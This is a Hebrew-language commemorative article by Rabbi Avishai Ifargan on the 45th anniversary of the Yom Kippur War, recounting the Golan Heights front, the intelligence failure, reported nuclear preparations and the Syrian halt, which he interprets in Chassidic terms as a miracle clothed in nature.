1
1

45 שנה למלחמה; על המחדל, קריסת המערכות, האיום הגרעיני, ההצלה, וסוריה של ימינו

45 שנה למלחמת יום הכיפורים – המלחמה שנצרבה עם צלקות כואבות לישראל, ועדין אין אחד שלא יסכים שנס של ממש היה אז. הרב אבישי איפרגון חוזר לימים ההם בסקירה מאלפת, על המחדל הנורא, קריסת המערכות, האיום הגרעיני, ההצלה, וגם מקשר זאת לסוריה של ימינו, ולדבריו הנסים היום נעלים עוד יותר.

משה מילנר לע"מ
המלחמה ההיא

“רעידת אדמה”, “האירוע הטראומטי ביותר בשבעים השנים האחרונות”, “המלחמה הנוראית ביותר” – אלו רק חלק מהתיאורים שיוחסו למלחמת יום הכיפורים. ללא ספק, מלחמה שזעזעה את אמות הספים, והובילה לשינויים חברתיים, כלכליים, מדיניים וצבאיים, בהיקף ובכמות שישראל לא ידעה כמותו.

רבים מציינים את המלחמה כמי שגרמה לאובדן האמון העיוור שרחש רוב הציבור הישראלי לגורמי הממשל, והייתה לה תרומה עצומה גם ל”מהפך” השלטוני בבחירות בשנת תשל”ז (1977 למניינם) במהלכן איבדה  מפא”י את השלטון ללא מצרים שהיה בידיה במשך עשרות שנים, והליכוד עלה לשלטון.

גם אמון הציבור בממסד הבטחוני ספג מכה אנושה וזאת בשל חוסר ההצלחה של צה”ל להתמודד עם אתגרים שונים במהלך הלחימה, כמו מערכות הנ”מ מתוצרת ברה”מ שפגעו קשות בחיל האוויר וביכולתו לסייע לכוחות היבשה, וכן טילי הנ”ט שגבו מחיר כבד מאוד מלוחמי השריון, חוסר המוכנות המשווע של אמצעי הלחימה שהיו מאוחסנים במחסני החרום, וכמובן המחדל החמור שנזקף לחובת אגף המודיעין בהתרעה על המלחמה.

יחסי כוחות של חמישים נגד אחד

תלי תלים של מלים נכתבו על מליוהכ”פ, וחלק נכבד מתוכן הוקדשו למחדל המודיעיני שהוביל לפתיחתה בתנאים גרועים ביותר. חומר רב שנחשף בשנים האחרונות, מאפשר לנו הצצה עמוקה וטובה הרבה יותר לנבכי האירועים. בתיאור המאורעות שיוגש לפניכם, הסתמכתי רבות על המחקר הרשמי של צה”ל – המחלקה להיסטוריה – שהיה גנוז במשך עשרות שנים (בין היתר גם בשל התנגדות של גורמים שחששו לשמם הטוב), והתבסס על עבודת נמלים עצומה, ועל אלפי מסמכים חסויים. המחקר עודכן במשך השנים, וצה”ל אישר לפני מספר שנים את פרסומו לציבור (אם כי בהיקף מוגבל). כמו כן נעזרתי במחקרים שנערכו ע”י קציני המודיעין של העוצבות הלוחמות, ובחומר הקשור לפעילותו של המוסד, שהותר לפרסום.

ביום הכיפורים תשל”ד (שחל בשבת קודש), היו פרוסים בכל רמת הגולן  בסה”כ כ- 200  חיילי רגלים, פזורים לאורך הגבול ב- 11 מוצבים. המוצבים עצמם לא צוידו בשום נשק אנטי-טנקי או תותחים.

מול כח מזערי זה, הציבו הסורים בקו הראשון כ- 20 גדודי חי”ר בתקן מלא (שהשתייכו ל- 6 חטיבות חי”ר סוריות ולחטיבה שהגיעה ממרוקו), ואיתם יחידות סיוע רבות, ובסה”כ כ- 10,000 חיילי חי”ר, הנדסה קרבית, קומנדו, חוליות נ”ט, ויחידות סיור. חטיבות החי”ר כללו גם 276 טנקים, שיועדו אף הם להסתער בגל הראשון.

יחסי הכוחות בין חיילי החי”ר עמדו, לפיכך, על 50 נגד 1 !

כוחות אלו יועדו  לפרוץ את המכשול הישראלי, ולהכשיר בו מעברים דרכם יוכלו עוצבות הדרג השני – שכללו 4 חטיבות שריון ושתי חטיבות ממוכנות – לבצע את השלב הבא, להילחם בכוחות העתודה הישראלית (אם יהיו כאלו) ולהעמיק ולבסס את ההשתלטות על רמת הגולן.

בהמשך תכננו הסורים לנצל את ההצלחה, ולפרוץ קדימה עם דיוויזיות השריון הסוריות וכוחות נוספים, שמוקמו בעורף המערך, ולהגיע עד גשרי הירדן, ועד לחוף הכנרת בדרום רמת הגולן.

בסה”כ פרסו הסורים כ- 1400 טנקים, מול כ- 177 טנקים ישראלים בלבד!

הפגזה סורית של אלף תותחים

בשעה 13:55 החלה המלחמה. 157 סוללות ארטילריה סוריות, ובהן קרוב לאלף קנים, המטירו במשך 5 דקות קרוב ל- 25,000 פגזים, על מפקדות ומוצבי צה”ל ועל ריכוזי כוחותיו ברמה. כ- 130 מטוסי קרב וירוט סורים ביצעו תקיפות על מוצבי המודיעין והמפקדות, ופגעו קשות באנטנות וביכולת ההאזנה הישראלית, וכן במערכות המודיעין האלקטרוני. במקביל הפעילו הסורים גם מיסוך קשר כבד באמצעות מערכות לוחמה אלקטרונית ששיבשו את התקשורת בין היחידות ופגעו ביכולת המפקדים לשלוט עליהן ולהפעיל אותן.

בצד הישראלי היו פרוסות ברמת הגולן רק 11 סוללות ארטילריה, ולהן 44 תותחים בלבד. חיל האוויר הישראלי, שפעל אף הוא בתנאי הפתעה (יחסית), לא הצליח לפגוע במטוסים הסורים שתקפו בגל הראשון, והם מיהרו להסתלק (סוללת טילי הוק ישראלית הצליחה להפיל מטוס סורי אחד).

ההוראה שניתנה לצבא הסורי (“משרוע 110”) הייתה לכבוש את כל רמת הגולן, להשמיד (ח”ו) את כוחות צה”ל הפרוסים בה, ולייצב קו הגנה לאורך נהר הירדן. מסמכי שלל שנתפסו מעידים גם על כך שלכוחות ניתנה הוראה להיות מוכנים לנצל הצלחה ולפלוש לעומק ישראל.

תוך מספר שעות השתלטו חיילי קומנדו וצנחנים סורים על מוצב החרמון, שהיה מוצב המודיעין החשוב ביותר של ישראל בצפון, 31 חיילים נפלו בשבי, ביניהם אנשי מודיעין שנחקרו בשבי הסורי, וכן ציוד מסווג, שערכו לא יסולא בפז, נפל לידיהם. לדברי הסורים, הם הוציאו מהמוצב 65 מערכות אלקטרוניות חדישות ומתוחכמות ששימשו את ישראל להאזנה, להשגת מודיעין אלקטרוני, להתרעה, לתצפיות ארוכות טווח, ועוד.  נפילת מוצב החרמון היוותה מכה קשה למערך המודיעין, והייתה לה גם השפעה מורלית.

יש לציין, כי במשך המלחמה ירו הסורים גם 25 רקטות קרקע-קרקע מדגם “פרוג”, לטווח של 70 ק”מ. חלקן נפלו במגדל העמק (בשכונת יפה נוף) – בקרבת בתי מגורים שנגרם להם נזק, אולם בחסדי ה’ היה זה ללא אבדות בנפש. רקטה נוספת פגעה בבית ילדים בקיבוץ גבת, אולם בנסי ה’ שהו כל הילדים באותו זמן במקלט, ולא נפגעו. רקטות שוגרו גם לעבר מפקדת פיקוד צפון בצפת, שדה התעופה מחניים, וכן לעבר שדה התעופה רמת-דויד (שם גרמו הרקטות להרג של טייס סקייהוק, ולפציעת טייסים וחיילים נוספים).

לחימת גבורה ונסים ונפלאות

הלוחמים המועטים במוצבים ברמת הגולן, ומחלקות הטנקים (3 טנקים בכל מחלקה) שהתפזרו לאורך קו הגבול, ציפו לכל היותר ל”יום קרב”, ולחילופי אש שכמותם כבר ידעו בעבר, אולם לפניהם נערך הצבא הסורי כולו, והחל לנוע לעבר הגבול, במעין שטפון עצום של מאות רבות של טנקים, נגמ”שים וכלי רכב קרביים רבים, תחת חיפוי ארטילרי כבד, ואלפי חיילים שהסתערו על קו הגבול.

בגבורה עילאית שאין כדוגמתה, ובמסירות נפש אמיתית, עמדו לוחמי החי”ר והשריון, כמעט ללא סיוע ארטילרי ואווירי  (משום שחיל האוויר נשלח ברובו לדרום, והמטוסים המעטים שהגיעו, עמדו בפני אש תופת של מאות תותחי נ”מ ועשרות סוללות טילי נ”מ) מול נחשולי פלדה יורקת אש שאיימו להציף אותם.

לאחר זמן מסוים, מוטלת על חטיבת השריון 188 האחריות על כל דרום רמת הגולן, שם עתיד להתייצב מולם רוב כוחו של הצבא הסורי. ולוחמי חטיבה 7 נערכים בצפון רמת הגולן, לקראת הקרבות הקשים מאוד שיתפרסמו בעתיד כקרבות “עמק הבכא”.

בלחימה נואשת, ובקרבות גבורה, מעכבים לוחמי שתי חטיבות השריון הסדירות, את התקדמותו של הצבא הסורי, וקונים זמן יקר מפז, שמאפשר לאנשי המילואים לעזוב את משפחותיהם ואת הבתים בעורף, להגיע לבסיסים ולימ”חים (שם מאוחסנים הטנקים ואמצעי הלחימה), להתחייל, להצטייד, להתארגן במסגרות לוחמות, ולנוע בדרכים (הריקות יחסית – בזכות יום הכיפורים) לעבר רמת הגולן המרוחקת.

על פי המחקר הרשמי של צה”ל, היווה הכח הסדיר רק רבע מכוחו של צה”ל, ולכן ברור כי עיקר המלחמה הייתה אמורה להיות מושתת על כתפיהם של אנשי המילואים. אולם, ההערכה בצה”ל הייתה כי ההתרעה שתינתן ע”י אגף המודיעין תספיק על מנת להתחיל ולגייס לפחות חלק מאנשי המילואים, וכן לערוך כל את הכוחות הסדירים, ואף להנחית מכת מנע על מערכי האויב. אולם, היות שראש הממשלה דאז גולדה ושר הביטחון דיין החליטו שלא לאפשר לצבא להנחית מכת מנע, וגם לא אישרו גיוס מילואים מלא, לכן נוצר מצב חמור מאוד בחזיתות, ובמיוחד על רקע ההתרעה שבוששה לבוא מצידו של אגף המודיעין.

לאחר 3 שעות של עמידה עיקשת, הצליחו לוחמי השריון, מעטים מאוד מול רבים מאוד, ובסייעתא דשמיא נפלאה, להשמיד כ- 200 טנקים מתוך 276 הטנקים שהסתערו בגל הראשון. אולם, היה זה במחיר נורא של אבדות כבדות, עשרות טנקים ישראלים נפגעו, פרצות ניבעו במערך ההגנה, והחמור מכל  – הסורים עמדו להזרים עוד למעלה מ- 1000 טנקים, ועשרות אלפי לוחמים, מוכנים לקרב ורעננים, ואילו כוחות המילואים לא נראו עדיין באופק…

ואכן, קצת לאחר השעה 17:00 אחר הצהריים, וכפי שתכננו הסורים מראש, החל מבחינתם שלב ה”משימה הבאה”. שלב זה כלל את הזרמתן של 6 חטיבות נוספות לרמת הגולן, בעיקר דרך דרומה. שם הייתה פרוסה חטיבה 188, שנשאה בעיקר נטל הלחימה מאז תחילתה וספגה אבדות רבות, וגם מספר הטנקים שעמד לרשותה היה קטן יותר. הסורים הפנו את עיקר מאמציהם לדרום הרמה משום שתנאי הקרקע שם נוחים יותר לתקיפה משוריינת.

בשעות הערב והלילה חדרו לדרום הרמה חטיבה ממוכנת 132 הסורית, וכן חטיבה משורינת 46 שמשימתה הייתה להגיע לעומק הרמה באזור חושניה, ומשם להמשיך ולהשתלט על גשר אריק. לאיזור דרום-מרכז הרמה חודרת, כמעט באין מפריע, חטיבה 51 משורינת הסורית ומשימתה הגעה והשתלטות על גשר בנות יעקב. צפונית לה חודרת חטיבת שריון נוספת מס’ 43 שיועדה אף היא להמשיך ולהשתלט על גשרי הירדן. כוחות אלו כ- 330 טנקים, ואלפי חיילי חי”ר, סיור, הנדסה וכו’.

במוצאי יום הכיפורים – ליל י”א תשרי, הומה דרום הרמה מטנקים סורים, בעוד שמספר הטנקים הישראלים, הכשירים לקרב, שנותרו בו, אינו עולה על 20, כאשר רובם מפוזרים, מנותקים זה מזה, כמעט ללא תחמושת ודלק, ונלחמים את מלחמת ההישרדות שלהם מול כוחות אדירים מהם פי עשרות.

כחלק מניצול ההצלחה הסורית בהבקעה, מוזרמות לרמת הגולן בשעות הבוקר גם חטיבת השריון  מס’ 47 ולה 95 טנקים, ודיוויזיית השריון מס’ 1 עם 235 טנקים חדישים מדגם 62-T, פאר התעשיה הצבאית של ברה”מ – עוד 330 טנקים נוספים בדרום הרמה!

במוצאי יוהכ”פ, בשעה 00:27  פונה אלוף פיקוד הצפון, יצחק (חקה) חופי, לרמטכ”ל בקריאה דחופה לקבלת סיוע אווירי, כי: “אין יותר כוחות בשטח ואי אפשר לבלום אותם”… אולם, לאחר זמן קצר הוא נענה שאין לחיל האוויר אפשרות לסייע לו כעת. בשעה 03:00  פונה שוב אלוף הפיקוד ומבקש סיוע אווירי דחוף, ובמקביל מוצאת הוראה לפינוי מיידי של כל היישובים ברמת הגולן , וזאת שעות בודדות לפני שכוחות סורים יכנסו אליהם.

בשעה 03:56 מדווח אלוף פצ”ן לרמטכ”ל: “…המצב לא טוב. יש זרימת טנקים בכיוון בן שהם [מח”ט 188, דרום הרמה]. ניתנה הוראה לנטישת ישובים… הרבה מאוד טנקים פגועים… מבקשים סיוע אווירי מסיבי, אם לא – מצבנו יהיה חמור מאוד…”.

בהמשך, בסביבות 04:30 הורה פיקוד הצפון “להוריד את כל הניירות מכל המחנות” ועל שריפת כל החומר הסודי במפקדות – וזאת מתוך חשש לנפילה מיידית שלהן בידי הסורים. ביומנו של שליש שר הבטחון, נכתב כי  שר הבטחון שמע מהרמטכ”ל על המצב הקשה בחזית הסורית ואמר: “אני רוצה לעלות לחקה [אלוף הפיקוד] ולראות מה קורה שם, האם הולכים לאבד את רמת הגולן”.  שר הבחטון מחליט להגיע בטיסה מיידית לחפ”ק של פיקוד צפון בהר כנען, על מנת להבין את חומרת המצב לאשורו. עם הגיעו למוצב הפיקוד, המצב הקטסטרופלי נגלה לפניו, והוא מורה לאלוף הפיקוד להתכונן לאפשרות של נטישת כל רמת הגולן!

לפי עדויות של קצינים בכירים שנכחו אז, אלוף הפיקוד לא הגיב, ודיין מיהר ליצור קשר עם מפקד חיל האוויר, האלוף בני פלד, שהעיד על כך בפני וועדת אגרנט: “בני… בגולן המצב קריטי, את כל הכח שלך – לעצירת הסורים ברמת הגולן, מאחר ומדובר פה בבית השלישי, זה לב המדינה”.  גם לפי עדויות נוספות דיבר שר הבטחון באותו זמן על סכנה של “חורבן הבית השלישי”.

ע”פ יומן המבצעים של חפ”ק פיקוד צפון, הורה שר הבטחון על הכנת גשרי הירדן לפיצוץ [על מנת למנוע מהסורים לעבור דרכם, לאחר כיבוש רמת הגולן, ולהיכנס לעמק הירדן].

בעדויות שנמסרו לפני וועדת אגרנט, מעיד כי אל”מ צבי בר (מפקד החטיבה המרחבית 820) כי קיבל באותו זמן הוראות להכין 6 מגשרי הירדן לפיצוץ, וסיפר כי תחושתו הייתה שהולכת להיות שואה ח”ו, וכי אכן הכין את הגשרים לפיצוץ. לדבריו הסורים הגיעו עד 500 מ’ מהיישוב אל-על, נכנסו כבר לכל הערוצים [הקרקעיים], ועמדו לרדת לנהר הירדן.  בעדותו המדהימה סיפר עוד כי ידוע לו שבחטיבה 7 הגיע מצב שנותרו רק 3 פגזים לכל טנק, והיא עמדה לקרוס מול הלחץ של השריון הסורי, ואז, ברגע האחרון, הגיע משלוח התחמושת, הוא אף הגדיר זאת כ”נס של רמת הגולן”…

כבר לפני השעה שש בבוקר, אל מול עיניהם של שרידי היחידות שייחלו לסיוע אווירי, מופיעות 2 שלשות של מטוסי סקייהוק שנשלחו לסייע להם. מהשלישיה הראשונה מפילים הסורים מטוס אחד. השלישיה השניה, מטייסת 110, מופלת כולה באש הנ”מ…

בהמשך, לאחר שיחתו של שר הבטחון עם מפקד חיל האוויר מופנות גיחות רבות נוספות של מטוסי קרב ש”מתאבדים” על טורי השריון הארוכים, שמעמיקים לחדור לתוך רמת הגולן, בלא שאף כח קרקעי עומד מולם. רבים מהמטוסים נפגעים מטילי נ”מ, החדירה הסורית לא נעצרת, כוחות השריון ממשיכים לזרום לתוך דרום רמת הגולן, ובפיקוד העליון של צה”ל מתגבר החשש שהסורים יגלשו במורד הצירים, לעבר הכינרת, ולעבר גשרי נהר הירדן, ויחדרו לערים ולישובים ישראלים באין מפריע, משום שיחידות המילואים עדיין לא הגיעו לחזית.

על מנת לפגוע במערך הנ”מ הסורי המסיבי (שפגע קשות ביכולת הסיוע האווירי), מוציא חיל האוויר לפועל בשעות הבוקר של י”א תשרי (יום ראשון, למחרת יום הכיפורים), מבצע ענק – 113 מטוסי קרב נשלחים על מנת לפגוע ב- 25 סוללות.

המבצע נוחל כשלון חרוץ. רק סוללה אחת מושמדת, במחיר כבד ביותר של 6 מטוסי פנטום שהופלו, 10 נוספים שנפגעו וקורקעו, 9 טייסים שנפלו בשבי, ושניים נוספים שנהרגו הי”ד. כתוצאה מכך, חיל האוויר יאלץ לפעול, עד סוף המלחמה, תחת איום הטק”א (טילי קרקע-אוויר), עובדה שהסבה לו אבדות רבות, ומנעה סיוע אפקטיבי לכוחות היבשה. עד היום, משוכנעים כל בכירי החיל, כי לו היו מאפשרים ראש הממשלה ושר הבטחון להנחית את מכת המנע לפני שהתחילה המלחמה, התוצאות היו שונות בתכלית.

אירוע נוסף שממחיש את עומק המפלה בדרום הרמה, היה פינוי המפקדה המרכזית בנפח. בשעה 07:30 מתקבלת פקודת הפינוי, וכל המפקדים הבכירים מזדרזים להימלט. טנקים סורים מגיעים למפקדה, והלחימה מתבצעת ממש בתוך המחנה. בקרב על המחנה נהרגים מפקד חטיבה 188, סגן מפקד החטיבה, וקצין האג”ם שלה – 3 הקצינים הבכירים ביותר בחטיבה. החטיבה חדלה למעשה להתקיים ככח לוחם (עד ששוקמה והשתתפה בהמשך הקרבות).

 

מדוע לא התקדמו הסורים???

אחת התמיהות הגדולות, שאין לה פתרון עד ימינו, היא מדוע לא התקדם אכן הצבא הסורי לעבר הכינרת וגשרי הירדן?

הכמות העצומה של השריון הסורי בדרום הרמה, וקריסתה של חטיבה 188 מול יחסי הכוחות הבלתי נתפסים, ביחד עם העובדה שכוחות המילואים עדיין לא הגיעו – למעט “טפטוף” של חלקי יחידות, מחלקות ופלוגות (שהגיעו עם חימוש חלקי בלבד) – נתנו לצבא הסורי את מלוא האפשרות “לגלוש” במורד צירי התנועה, ולייצר איום אמיתי על עומק ישראל. ניצול הצלחה הינו אחד מעקרונות הלחימה היסודיים ביותר, ולא ברור מדוע הסורים לא יישמו אותו.

הסברים שונים שניתנו במהלך השנים לשאלה זו, התגלו כלא נכונים.

אחד ההסברים הנפוצים היה שהסורים כלל לא התכוונו, ולא היו מוכנים לבצע מהלך שכזה, וכל מטרתם הייתה רק הפריצה לרמה והשתלטות על חלקה, על מנת להניע מהלך מדיני.

אולם, חשיפתם של המחקר הרשמי של צה”ל, ביחד עם מסמכים רבים שנחשפו בשנים האחרונות, כולל מפות שלל, מראים בבירור שהצבא הסורי התכוון לכבוש את כל הרמה, וגם להשתלט על גשרי הירדן – גשר אריק וגשר בנות יעקב וגשרים נוספים – וכן להגיע עד הכינרת.

ע”פ המחקר הרשמי של צה”ל, ה”משימה היומית” של הדיוויזיות הסוריות הייתה: “כיבוש כל רמת הגולן, התארגנות להגנה בקו הירדן…וכוננות לניצול ההצלחה. את המגמה לנצל הצלחה ניתן להדגים ממפת שלל של גדוד מחטיבת טנקים 46. החטיבה… הייתה אמורה להגיע לירדן [נהר הירדן], ולעמק בטייחה…ולהתבסס ממערב לנהר, באלמגור. כן הוטל על גדוד זה לקדם כח חסימה אל מסעף ורד הגליל”.

עדויות רבות מראות בבירור שהצבא הסורי כן תכנן להגיע עד נהר הירדן ולהשתלט על הגשרים – מסמכים רשמיים של אמ”ן שפורסמו מעידים על כך בבירור (ומופיעים גם במחקרו של סא”ל שמעון גולן – ראש התחום לחקר הרמה האסטרטגית במחלקה להיסטוריה בצה”ל). הצבא הסורי תרגל את התכניות דלעיל, ועל פיהן נערך למלחמה.

הסבר נוסף שהועלה היה שלסורים פשוט נגמרו הדלק / תחמושת, ולכן הם היו מוכרחים להיעצר. אולם, הסבר זה נראה מופרך אף הוא, ולו בשל העובדה שבבוקר יום ראשון הוזרמו לרמת הגולן 330 טנקים רעננים, חמושים ומתודלקים, שנעו כמעט ללא מעצורים ברחבי דרום הרמה. כמו כן, ידוע בבירור כי שיירות לוגיסטיות נעו בעקבות טורי השריון, וכבר במוצאי יום הכיפורים הועברו תחמושת ודלק לטנקים הסורים. בנוסף לכך, חטיבות הדרג השני, שהוטלו לקרב כבר בשעה 17:00-18:00 ביום הכיפורים, לא נתקלו בהתנגדות רבה, ולא נזקקו לכמויות גדולות של דלק ותחמושת.

חשש מהפתעה / מחיל האוויר

עוד הסבר נפוץ הוא שהסורים חששו מכך שאם ירדו לכיוון הכינרת אזי “יופתעו” בצורה כלשהי. הסבר זה לוקה לדעתי בהערכת חסר של הכנות הצבא הסורי. צבא זה נערך בקפידה לקרב, והכיר היטב (כפי שניכר ממסמכי השלל) את פריסת יחידות צה”ל, ואת העובדה שהוא מסתמך על צבא המילואים. ברגע שהושגה ההפתעה, והצבא הסורי כבר פרץ פנימה, היה ידוע למפקדיו שמולו ניצבים רק הכוחות הסדירים, ואין איזו “יחידה סודית” שתחכה לו בהמשך הדרך. בעדותו של אלוף פיקוד צפון לפני וועדת אגרנט, הסביר האלוף שגם הסורים מתצפתים עלינו, וגם מבצעים גיחות צילום. כמו כן, לדברי האלוף הדרוזים דיווחו גם לנו [על הסורים] אבל הרבה דיווחו גם להם על צה”ל, וזאת גם מתוך מוצבים שהם עבדו בהם!  האלוף ציין ושלפני המלחמה נתפסה רשת ריגול דרוזית, וכן שהסורים עוסקים גם בהאזנה. ממידע שנמסר לוועדה עולה כי הסורים גם הפעילו סיורים, וצה”ל היה מודע לכך ולא הצליח למנוע זאת. מכל זה עולה, כי תמונת המצב בזירה הייתה ידועה לסורים במידה רבה, ולא היה להם מקום לחשוש מהפתעות גדולות.

אמנם, חלק מההתקדמות היה נעשה בשעות הלילה, אולם הצבא הסורי (בניגוד לצה”ל) היה משופע באמצעי ראיית לילה – כמעט בכל הטנקים הסורים היו אמצעי ראיית לילה עבור הנהג, תותחן וכן המפקד. טנקים ישראלים שנלחמו נגד הסורים בשעות הלילה דיווחו על היתרון הסורי באמצעים אלו.

נימוק נוסף שלדעתי לוקה אף הוא בחסר, הוא שהסורים חששו לנוע מחוץ למטריית ההגנה האווירית שלהם. נימוק זה בעייתי משום שהאמ”ט (אזור מוגן טילים) הסורי היה נרחב אף מעבר לגבולות רמת הגולן, וסוללות הנ”מ הסוריות גם “דילגו” קדימה עם הכוחות, והרחיבו את האמ”ט. כמו כן, הסורים הפעילו 15 סוללות 6-SA ניידות לחלוטין, שנעו בצמוד ליחידות המסתערות, ואלו יכלו בקלות לספק להן הגנה ניידת. הסוללות הנ”ל היוו את עיקר הבעיה של צה”ל במלחמת יום הכיפורים, היות והן היו חדישות מאוד והגיעו בסמיכות למלחמה (צה”ל לא ידע אפילו מה הטווח שלהן).

הסבר נוסף שניתן הוא שחיל האוויר עצר את תנועת הסורים. אולם, כפי שהובא לעיל ממקורות רבים, טייסי חיל האוויר אכן פעלו במסירות נפש עצומה, ורבים מהם נהרגו הי”ד, אולם בשל הקיר הבלתי עביר כמעט של הטק”א, ספגו מטוסי החיל אבדות נוראיות, וגם לא יכלו לכוון כראוי את החימוש שלהם (מה שגם שבאותה תקופה כמעט ולא היה שום שימוש בנשק “חכם”, מונחה ומדויק, כפי שיש בימינו). ואמנם, חדירתן של העוצבות הסוריות לא נפסקה כלל, למרות התקיפות האוויריות, ולו רצו בכך הסורים יכלו להמשיך בתנועה הלאה, לעבר הכינרת וגשרי הירדן.

נימוק חשוב נוסף הינו כניסתן של עוצבות המילואים למערכה. אולם, בדיקה מדוקדקת מראה שבשלושת צירי התנועה המרכזיים, שבהם היה חשש שהסורים ינועו, הגיעו כוחות המילואים רק אחרי זמן ממושך:

א. ציר דרום הרמה – אל-על – גבעת יואב – כורסי:  ע”פ המחקר הרשמי של צה”ל הגיעו למרחב אל-על גד’ 278 של המילואים רק ביום י”א תשרי בשעה 10:00 בבוקר – שעות רבות לאחר שחטיבה 132 הממוכנת כבר התפרסה בדרום הרמה, ויכלה לנצל הצלחה.  כמו כן, הסד”כ המצומצם של גד’ 278 לא היה יכול לעצור מתקפה משולבת של חטיבה 47 ו- 132 שנערכו באזור, ובוודאי שאם הייתה מצטרפת לכך דיוויזיה 1 , המצב היה חמור בהרבה [מסיבות שלא ברורות לגמרי עד היום, נעה דיוויזיה 1 לעבר נפח, בשונה מהתכנית המקורית]. יש לציין כי בשעות אחה”צ הצטרף לגדוד 278 גם גדוד 377 (טנקי שרמן), ופעל אף הוא כנגד הכוחות הסורים.

ב. ציר מעלה גמלא – לציר זה הגיעו כוחות המילואים, ע”פ המחקר הצה”לי, רק בשעה 15:00 בצהריים, שעות ארוכות  לאחר שהתבססה בו חטיבה 47 הסורית, במרחק של 7 ק”מ בלבד מהכינרת.

ג. ציר חושניה – קצביה – יהודיה –  ומשם לגשר אריק:

בציר זה נעה כבר בשעות הלילה של מוצאי יום הכיפורים מחלקת שריון של חטיבה 679 (בפיקוד ניצן יוצר), ונתקלה בחטיבה 46. שלושת הטנקים הישראליים פתחו באשו, ונע במהירות לתפוס מחסה מול מה שהבינו ככח גדול בהרבה שניצב מולם. בחסדי ה’ גם החטיבה הסורית נעצרה. ועד לשעות הבוקר לא המשיכה בהתקדמותה. לו הייתה מפעילה חטיבה זו כוחות סיור, או מנצלת את יתרונה באמצעי ראיית לילה – שהצבא הסורי היה משופע בהם – הייתה יכולה להיות המציאות שונה לגמרי.

חשש מנשק גרעיני?

מפאת קוצר היריעה, לא נוכל במסגרת זו להאריך לגבי המאורעות בחזית המצרית, אולם די אם נציין כי בחזית זו נפרסו כ- 1700 טנקים מצרים, מול כ-290. לוחמי חי”ר ישראלים היו 450 (במעוזים), בעוד שהמצרים ריכזו לפחות -100,000-80,000 חיילים. יחסי כוחות נוראיים אלו – של 200 נגד 1 – בצירוף העובדה שגם כאן לא יכל חיל האוויר לסייע באפקטיביות (בשל הנ”מ), הביאו לשחיקה מהירה של השריון הישראלי. עד יום ראשון בבוקר נותרו רק 103 טנקים ישראלים תקינים. וגם כאן יכלו המצרים לפתח את המתקפה שלהם קדימה, והאיום על ישראל היה חמור ביותר גם בזירה זו. גם לאחר גיוס כוחות המילואים בדרום, מתקפת הנגד שהם ביצעו נכשלה, ועובדה זו (ביחד עם המצב החמור בצפון) הביאה את הממשלה למצב של משבר אמיתי, ולחשש לגורלה של ישראל ח”ו.

על פי מקורות רבים מהשנים האחרונות, נעשו הכנות שונות בישראל בימים הראשונים של המלחמה, להפעלת נשק אסטרטגי. ע”פ מסמכים שונים שהותרו לפרסום בארה”ב, עומד לרשות ישראל נשק אסטרטגי מזה כ- 50 שנה. עוזרו של קיסינג’ר במועצה לביטחון לאומי, אף כתב כי המודיעין האמריקני איתר סימנים שונים להעלאת הכוננות בישראל של טילי ה”יריחו”. בספרו של סיימור הרש “ברירת שמשון”, הוא מתאר, על סמך פקידי ממשל ואנשי מודיעין, כי בנוסף לטילי היריחו, ישראל גם הכינה שמיניית מטוסי פנטום חמושים בנשק זה, מתוך חשש לקריסה טוטאלית של צה”ל. עוזרו של השר ישראל גלילי (מבכירי הממשלה דאז), ארנן (סיני) עזריהו, סיפר לפני 10 שנים (בראיון למכון ווילסון), כי בישיבה חשובה ביותר, שנערכה תוך כדי המצב החמור בגולן, ניסה דיין לחלץ הסכמה מראש הממשלה להכין אופציה גרעינית לשימוש הפגנתי, אולם גלילי ויגאל ידין התנגדו לכך, והיא אמרה לו “שכח מזה”.

יש הטוענים שמכך חששו הסורים. אולם, כנ”ל הרי הסורים תיכננו ותרגלו את כיבוש כל הרמה והגעה עד הגשרים, ומכאן נראה בבירור שהעריכו שלא צפויה להם סכנה שכזו. וההגיון שבכך מבחינתם היה, שהם לא איימו על לב ישראל, אלא “רק” רצו להחזיר לעצמם את רמת הגולן (שבאותו זמן בקושי הייתה בה התיישבות יהודית). כמו כן, ידוע כי ברה”מ הבטיחה לסוריה ולמצרים “מטריה גרעינית” (דהיינו איום לתקוף בנשק גרעיני את מי שיאיים עליהן בנשק גרעיני).

נס המלובש בטבע

בתורת החסידות מוסבר שישנם 2 סוגי נסים. ישנו נס שאינו “מלובש” בטבע – כדוגמת נס קריעת ים סוף – שבו ניכר בבירור כוחו האין סופי של הבורא לשדד את מערכות וחוקי הטבע. אולם, ישנו גם סוג נוסף של נסים – שיש להם “לבוש” (העלם וכיסוי) של הטבע. נסים אלו, אומרת החסידות, אינם פחותים מן הנסים העל טבעיים, ואף עולים עליהם, משום שבהם ניכר כוחו הבלתי מוגבל של ה’ יתברך לחבר את הטבע וחוקיו עם הנס העל-טבעי, ובאופן כזה ששניהם יתקיימו כאחד. כדוגמה לנס זה מובא נס חג הפורים, ונס הנצחון של “מעטים מול רבים” בחנוכה. אכן, גם במלחמת יום הכיפורים, התקיים במלואו נס המעטים מול רבים. ביחסי כוחות בלתי נתפסים, ביחד עם גבורה עילאית, ונסים ונפלאות גלויים על כל צעד ושעל, אותם מתארים רבים מהלוחמים, נמנעה קטסטרופה אמיתית רחמ”ל.

יתירה מזו, גם כשכבר לא היו כוחות צבא בכלל, אפילו לא כוחות “מעטים”, עשה ה’ יתברך נס נפלא, והכוחות הסורים, וגם המצרים, נעצרו במקומם.

כבר עם תחילת הקרבות אמר הרבי מליובאוויטש כי הנסים במלחמה זו יהיה גדולים יותר ממלחמת ששת הימים. נראה כי אחד ההסברים לכך, טמון במה שנכתב לעיל. בעוד שבמלחמת ששת הימים היה זה נס של “מעטים מול רבים”, הרי שבמלחמת יום הכיפורים, גם כשלא היו כוחות כלל, נעצרו כוחות האויב.

ומה היום?

לדעתי הנסים היום נעלים עוד יותר… כיום סוריה ממשיכה להתבוסס במלחמה הפנימית שבתוכה, שגרמה לפירוקו של הצבא הסורי. כיום אויבינו לא רק “עוצרים”, אלא מחסלים אחד את השני במרץ רב… בנוסף לכך, כמעט כל מדינות ערב (כולל מצרים) מעוניינות כיום שישראל תהיה חזקה, והיא זו שתציל אותן מידיה של איראן ומהאיום של דאע”ש ודומיו…

צום קל, גמר חתימה טובה.

—–כל המידע הצבאי בטור זה מבוסס על מקורות גלויים—-

